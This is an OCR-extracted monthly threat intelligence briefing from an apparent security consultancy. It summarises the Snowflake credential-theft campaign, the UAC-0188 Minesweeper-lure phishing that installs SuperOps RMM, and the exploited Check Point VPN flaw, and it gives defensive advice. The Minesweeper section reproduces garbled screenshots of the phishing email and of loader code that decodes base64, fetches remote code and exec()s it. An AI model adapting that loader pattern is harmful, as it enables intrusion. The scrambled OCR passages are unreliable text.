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Summary

! Incident

Data theft and
extortion campaign

targeting Snowflake

customer database
instances via stolen
credentials.

Phishing email,
leading to remote
access via SuperOps
RMM software,
disguised as
Minesweeper game.

Zero-day attacks
exploit Check Point
VPN since April

Threat

The threat actor "UNC5537" used
infostealer malware to acquire old and
unsecured credentials, leading to
successful breaches due to the absence
of multi-factor authentication and
network allow lists.

The threat actor, known as "UAC-
0188," used a phishing scheme to
distribute a malicious executable,
which when run, deployed a legitimate
remote management tool for
unauthorised access.

Attackers exploit an information
disclosure vulnerability to gain access
to password-only authentication
account and move laterally in
network.

Preparing decision makers

Iﬂ‘@ Key points

165 potentially impacted
organisations, emphasises the need for
credential monitoring, MFA
enforcement, and secure
authentication practices.

Attack part of a larger campaign
against EU and US financial services.
Organisations are urged to monitor
for SuperOps RMM-related network
activity and review CERT-UA's IOCs
for threat detection and prevention.

Check Point has released a hot fix, to
address the issue and advised to

implement MFA and monitor network
traffic for malicious activity.

Our monthly report prepares cybersecurity practitioners to make better tactical, operational
and strategic decisions. We have distilled analysis of key events from the previous month
which have learning points that can be actioned to improve security.

The document has three main purposes to assist cybersecurity leaders:

I. To be 'threat-led' and help prioritise defences against particular types of attackers
2. To justify business decisions on cybersecurity changes, technology or services
3. To enable them to respond confidently to questions from business leadership, defend

decisions or make a case to change the status quo.
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Attackers target Snowflake customer databases with stolen
credentials

What happened?

On 10 June 2024, Mandiant reported on a campaign against Snowflake, a cloud-based data
warehousing service used by many organisations to store and analyse data'. Attackers targeted
customer database instances using stolen credentials.

The attackers aimed to steal data and extort victims. Breaches observed by Mandiant were not
due to a compromise of Snowflake's systems but rather stemmed from customer credentials
that had been compromised, often through infostealer malware.

The campaign was first discovered in April 2024 when database records for sale were traced
back to a compromised Snowflake instance. The victim organisation's credentials had likely
been stolen via malware, and the account did not have multi-factor authentication (MFA).
Mandiant and Snowflake have since notified approximately 165 potentially affected
organisations and provided them with support and guidance.

The threat actor, UNC5537, likely obtained credentials through infostealer malware, which
had infected systems not owned by Snowflake. These credentials were sometimes years old
and had not been changed or secured with MFA. The campaign was successful due to the lack
of MFA, valid stolen credentials, and the absence of network allow lists to restrict access to
trusted locations.

Investigations revealed that contractors using personal devices for work and personal activities
were often the initial point of compromise. The attackers used a variety of tools to perform
reconnaissance and data exfiltration from the Snowflake instances.

So what?

The campaign highlights the risks associated of stolen credentials, which continue to be one of
the most popular sources of intrusions2. The campaign also underscores the dangers of
password reuse and the failure to implement basic security measures like MFA and credential
rotation.

The campaign's success was also partly due to the popular infostealer marketplace, where
stolen credentials are readily available. This has broader implications for the security of Saa$S
platforms, as threat actors may continue to target them using similar tactics.

Mandiant's findings emphasise the need for organisations to monitor credentials, enforce MFA
universally, restrict network access to trusted locations, and be vigilant for abnormal access
attempts. The incident serves as a reminder of the importance of cybersecurity hygiene and
the need for consistent security awareness to protect against data theft and extortion.

! UNC5537 Targets Snowflake Customer Instances for Data Theft and Extortion,
https://cloud.google.com/blog/topics/threat-intelligence/unc5537-snowflake-data-theft-extortion

2 Verizon DBIR: Threat Actors Continue to Leverage Compromised Credentials to Steal Corporate Data,
https://www.asisonline.org/security-management-magazine/latest-news/today-in-security/2024/may/Verizon-DBIR-
Compromised/



Monthly Cyber Intelligence Summary TLP:GREEN AJ M DR CYBER

Organisations using Snowflake should follow the hardening guidance provided by Snowflake3
and to stay informed about the latest threat intelligence to prevent similar compromises.
Mandiant's Snowflake threat hunting guide and Snowflake's published detection and hardening
guidance* are resources that organisations can use to secure their data environments against
such threats.

3 Snowflake Security Overview and Best Practices, https://community.snowflake.com/s/article/Snowflake-Security-Overview-
and-Best-Practices

4 Detecting and Preventing Unauthorized User Access,
https://community.snowflake.com/s/question/0D5VI00000Emyl00AB/detecting-and-preventing-unauthorized-user-access
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Minesweeper phishing leads to remote access targeting

financial services

What?

On 23 May 2024, the Ukrainian Computer Emergency Response Team (CERT-UA) published
details about a cyber-attack targeting Ukrainian organisations.

The attackers gained unauthorised remote access to computers by exploiting a legitimate
remote management software called SuperOps RMM.

The attacker, designated as "UAC-0188" started with a phishing email from the email address

"support@patient-docs-mail.com,"
Web Archive of Medical Documents."

impersonating a medical centre with the subject "Personal

The recipient was then prompted to click on a Dropbox link, which when clicked, downloaded
an executable .SCR file disguised as the classic game of Minesweeper. This file, created with the
software Pylnstaller, included a large base64-encoded string. Additional Python code was
fetched from anotepad.com, which then decoded and executed further instructions.

The code from Minesweeper included a function called "create_license_ver." This function was
used to decode and activate concealed malicious code. Subsequently, a base64-encoded string
was decoded to create a ZIP archive, which held an MSl installation file for the SuperOps RMM
software. This installer was then extracted and run using a static password.

NepcoHanLhnii BE6-apxis MERH4HAX NOKYMEHTiB
————

Ha Bawe iM'f 0 BE6-apxiBy MEPCOHAMLHAX MEMHYHWX MOKYMEHTI® HAMIAUOB HOBMi
ROKYMEHT :

Pe3synbT awanizis sin 2024-85-26.

ABTOp MOKYMEHTA - Memuumi uesTp
[N 3aBaHTakekHA OKYMEHTY Bi MacTe 3aMTW WA CTOpiMKy Beb-apxisa 3a Lmm
necHnaHHaM:

Be6-apxie MEWdHHX MOKYMEHTiB

<h11ps: //uw. dropbox. con/scl/fi/Tks60angsoiz12bovda2n

( )= v

N K

flkwo Bu He Baunte abo He WbXeTe HaTWCHYTH Kwonky, To ckoniedre Hanenei’m
HUKHE TEKCT NbCAnaWNs 1 BpyaHy BCTASTE ROTD 8 anpeckomy pAAKY Gpaysepd.
3aBAHTAKEHHS MOKYMEHTY:

hiips:/ S dropbox. (U'I"E('L/f] 7ks604ngs0izl 2bovdo2p ’

( }
7

RokymeHT Byne 3ﬁemrawrﬂ y seb-apxiel npotsrom 38 nif, rucnﬂ»wru Gyne

BRTOMATMYKO BHIANeHMi Ge3 MONMBOCTL sinmoenenys. ,

B nepcoHansHux nanamwsawnx sef-apxiey Bu mokete axwavsb'm onuio
BescTpokoBoro 3GepirBHHA QOKyMeHTiE. TakuM ddHoM, B sMpkere 3bepiratn i
nepernAnaTh y Be-apxiBl konil ceoix MeQHuHMX DOKYMEHTAR, BiACOPTORAHMX Ta
NiQWHTHE B xonnonomwony nopaaky. Ue - BeskowrosHa pfiuia.

/

GaKaemo Bam munor.o 3mopos ‘Al /'

e nnet craopen¢ ABTOMATMUHO. BYAb Nackea, We Mnnoslname Ha HBOTO, TOMY
yo Bauy alnnoum HiXTO He NpouKTaE. P
/
r ,

/
© 2024 - hitps//patient-docs.com <https,f/patient-docs.con> | Bimnmcaruca
<https://patidnt-docs, con/unsubscribe/ gz
_—————

Analysis

Meguuni_Ananisu_sig_20.05.2024,
e - Software Ltd

ser

From suppart support <support2 @ pat ent-de ilcone 8
| e—T 200524, 1431
Subject i Beb-apxis

(def <reete Ticense ver(text):

r

L = ST
It

path = resource_path( . )
haseﬁd S(r\/vg =

+ 1 SE64.

)
dncoded_bytes = bsscd. beddecoda(basesd_string)

with open(zip_path, ut
.write(decoded_| bytes)

¥:
if checktine(1, 16, 9') startswith( ):

attempt = O
wh\l! sL(empt < 1b

“result = send http_request(url)
if resultistartswith( )t
attempt +=
:me.s'l.een(l)
lse:

a(tmp 4= 1
decoded_code
b54de:qd2[result) decndE(

!x!((dqzaded code)
resk
except:
(ime.sleep(‘ll )

if attempt == 10: '
menu()

menu()

lexcept:

|
else: \
i
1
|

menu()

create License ver(

def

def

def

basesd data =

FufoxhBaiP7epkouegixe')
resource path(relative path):

return os.path. join(getattr(sys, ath.
dirname(os.path.abspath(_ file_ ))7, relative. path)

unzw fx'Le(path Z\.p pwd ex(ra:( path)
(read) node

m.:h 21pflle zwhle(zw path, ) as zip_file:
# Try to set the password
try:

zip_file.setpassword(password.encode())

# Extract all files

zip file. extractall(extra:t path)

chive

except RuntimeError:

print("1 password. ")

run_save_img(path_name, basesa data):

path = resource_path(path_name)

inage_data = basesd. hsddecude(basesd data)

with open(path, ) as File:
#ile.urite{inage data)

subprocess. run([ , path], shell=True, check=True)

run

save ing(' ir ., base6d data)
: zip path = resource path( ata.zip')
' extract_path = resource path( data')
joine ' password =
| fnzip File(zip path, passunrd extract_path)
) g mst_file path - resource path(
X, 8 wi msi')
% . cnmllar\d = F nsi Fl'Le pathl’ Jan License
£ o tre:
result = suhpru(ess run(mnm#nd shell=True, check=True,
00ulGOZL capture output=True}
except subprocess. (alledF'rn(EssError as e:
o) print( » e.stdenr. decode())
BGUSCIAGICATIC.
Quzwisib v
ZCAgICAgIC) .
iIpCiAgIC] 1 .
QolkluY 20y VIICEA Y XN2G29yZ CHKQOKZGYMIHILISZ Y X ?Ag 9LAJSM FIB_2 KGVBADXSIB ﬁ:_WI n
gazoac o =1 dows_x64.msi SuperOps RMM

GGl RS RS

Figure | - Screenshots provided by CERT-UA



Monthly Cyber Intelligence Summary TLP:GREEN AJ M DR CYBER

So what?

CERT-UA's investigation revealed that this attack was likely part of a broader campaign against
financial and insurance institutions across Europe and the USA since at least February-March
2024. This suggests a widespread campaign with potentially numerous victims.

The use of legitimate software for malicious purposes makes detection more challenging.
Organisations are advised to check for network activity related to SuperOps RMM, especially if
they are not users, to prevent unauthorised access.

The detailed indicators of compromise (IOCs) provided by CERT-UAS, including file hashes,

network addresses, and host information, are helpful for organisations to detect and respond
to this threat.

5 https://cert.gov.ua/article/6279419
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Zero-day attacks exploit Check Point VPN since April

What?

A zero-day vulnerability in Check Point's VPN software has been exploited by attackers since
late April 2024. The vulnerability allows unauthorised access to networks using the VPN,
bypassing authentication mechanisms and potentially leading to data interception and lateral
movement within the network.t

The attackers exploited old VPN service accounts using password-only authentication. The
vulnerability tracked as CVE-2024-24919 has been exploited to extract Active Directory data
and password hashes of accounts with password-only authentication in place.”

The vulnerability has a CVSS score of 8.6 out of 10, marking it as particularly high as it is easy
to exploit it remotely with no user interaction or privileges.8

So what?

At the time of review, the exploit was still being investigated. Any significant impact had not been
disclosed. Check Point was quick to react and released a hot fix - a package containing all the
necessary information to address the software issue, to remove password-only logins.?

Users should review authentication logs for suspicious connections, prevent local accounts from
connecting to the VPN with password authentication. This will force local accounts to implement
multi-factor authentication (MFA).

Along with these recommendations, general security "hygiene" measures should also be
considered to implement a layered security approach:

e Regular updates: Ensure that your operating system, applications, and security software
are up to date. Regularly apply security patches.

e Strong authentication: Use strong, unique passwords for all accounts. Consider using a
password manager.

e Multi-factor authentication (MFA): Enable MFA wherever possible to add an extra
layer of security.

e Firewall and Intrusion Detection Systems (IDS): Implement a firewall and IDS to
monitor and block suspicious network traffic.

e Network Segmentation: Segment your network to limit the impact of potential
breaches.

e Security Awareness Training: Educate users about phishing, social engineering, and safe
online practices.

6 Check Point VPN zero-day exploited in attacks since April 30,
https://www.bleepingcomputer.com/news/security/check-point-vpn-zero-day-exploited-in-attacks-since-april-30/
7 Check Point VPN Attacks Involve Zero-Day Exploited Since April,
https://www.securityweek.com/check-point-vpn-attacks-involve-zero-day-exploited-since-april/

8 Thousands of internet-facing devices vulnerable to Check Point VPN zero-day,
https://therecord.media/thousands-of-devices-vulnerable-checkpoint

9 Preventative Hotfix for CVE-2024-24919 - Quantum Gateway Information Disclosure,
https://support.checkpoint.com/results/sk/sk 182336



The Traffic Light Protocol (TLP) is a set of designations
used to ensure that senstive information is shared with
the appropriate audience.

This document is marked TLP:GREEN meaning
recipients may share with peers and partner

organizations within their sector or community, but not

via publicly accessible channels.

This document has been prepared for general guidance
only, and does not constitute professional or legal
advice. If you wish to receive legal advice we will need
to provide you with a separate retainer letter and
additional terms of business, as such work will be
separately regulated by the Solicitors Regulation
Authority (SRA).

You should not act upon the information contained in
this publication without obtaining specific professional
or legal advice.

Mishcon de Reya refers to Mishcon de Reya LLP which
is a limited liability partnership, incorporated in England
(number OC399969), whose registered office is at
Africa House, 70 Kingsway, London WC2B 6AH. It is a
body corporate which has members rather than
Partners.

mishcon.com/cyber

N MDR CYBER

Part of the Mishcon de Reya Group



	June 2024 – Cyber Threat Update
	Summary
	Preparing decision makers


